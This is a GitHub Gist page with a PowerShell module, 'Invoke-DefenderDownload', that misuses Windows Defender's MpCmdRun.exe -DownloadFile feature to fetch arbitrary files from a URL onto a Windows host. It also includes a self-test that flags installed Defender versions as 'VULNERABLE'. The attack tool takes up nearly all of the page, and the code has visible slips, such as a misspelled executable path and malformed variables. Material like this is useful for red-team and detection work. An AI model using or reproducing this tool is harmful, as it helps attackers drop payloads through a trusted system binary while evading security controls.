Skip to content

Instantly share code, notes, and snippets.

@klezVirus
Last active September 23, 2020 08:21
Show Gist options
  • Save klezVirus/977f6cd9e4126103326f6a28700382d1 to your computer and use it in GitHub Desktop.
Save klezVirus/977f6cd9e4126103326f6a28700382d1 to your computer and use it in GitHub Desktop.
<#
Module: Invoke-DefenderDownload
Author: d3adc0de
Licence: MIT
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
#>
function Invoke-DefenderDownload{
<#
.SYNOPSIS
Easy script that tries to download a file using any installed version of Defender.
.EXAMPLE
# Tries all the versions installed
Invoke-DefenderDownload -Url http://test.com/testfile.txt -Path C:\Windows\Temp\test.txt
# Uses the specified version
Invoke-DefenderDownload -Url http://test.com/testfile.txt -Path C:\Windows\Temp\test.txt -Version 4.18.2007.8-0
#>
[CmdletBinding()]
param
(
[Parameter(Mandatory=$True)]
[string]$Url,
[Parameter(Mandatory=$True)]
[string]$Path,
[Parameter(Mandatory=$False)]
[string]$Version
)
if($version -And $version -NotMatch "^\s*$"){
$mpcmdrunpath = "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\$($version)\\MpRumCmd.exe"
if (Test-Path -Path $mpcmdrunpath -PathType Leaf){
(cmd /c "$(mpcmdrunpath)" -DownloadFile -Url "$($url)" -Path "$($path)");
sleep 1;
if(Test-Path -Path $Path -PathType Leaf) {
Write-Output " [>] Downloaded: $($path)"
}else {
Write-Output " [x] Could not download file"
}
}else{
Write-Output "[-] Version $($Version) seems to be not installed on the system"
}
}
else
{
gci -Path "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform" -filter "4.18.*" -Directory |
ForEach-Object {
Write-Output "[*] Trying version: $($_.Name)";
(cmd /c "$($_.FullName)\MpCmdRun.exe" -DownloadFile -Url "$($url)" -Path "$($path)");
if(Test-Path -Path $path -PathType Leaf)
{
Write-Output " [>] Downloaded: $($path)"
break;
}
else
{
Write-Output " [x] Could not download file"
}
}
}
Write-Output "[+] Done.";
}
function Invoke-DDSelfTest{
<#
.SYNOPSIS
Easy self test to enumerate installed versions of MpCmdRun.exe and check if they are vulnerable.
.EXAMPLE
Invoke-DDSelfTest
Version: 4.18.2007.8-0 -> VULNERABLE
Version: 4.18.2008.9-0 -> VULNERABLE
#>
$testfile = "C:\\Windows\\Temp\\iso8859.txt";
gci -Path "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform" -filter "4.18.*" -Directory |
ForEach-Object {
$version = $_Name;
(cmd /c "$($_.FullName)\MpCmdRun.exe" -DownloadFile -Url "https://www.w3.org/TR/PNG/iso_8859-1.txt" -Path "$($testfile)") ;
if(Test-Path -Path $testfile -PathType Leaf)
{
Write-Output "Version: $($_.Name) -> VULNERABLE"
Remove-Item $testfile
}
else
{
write-output "Version: $($_.Name) -> SAFE"
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment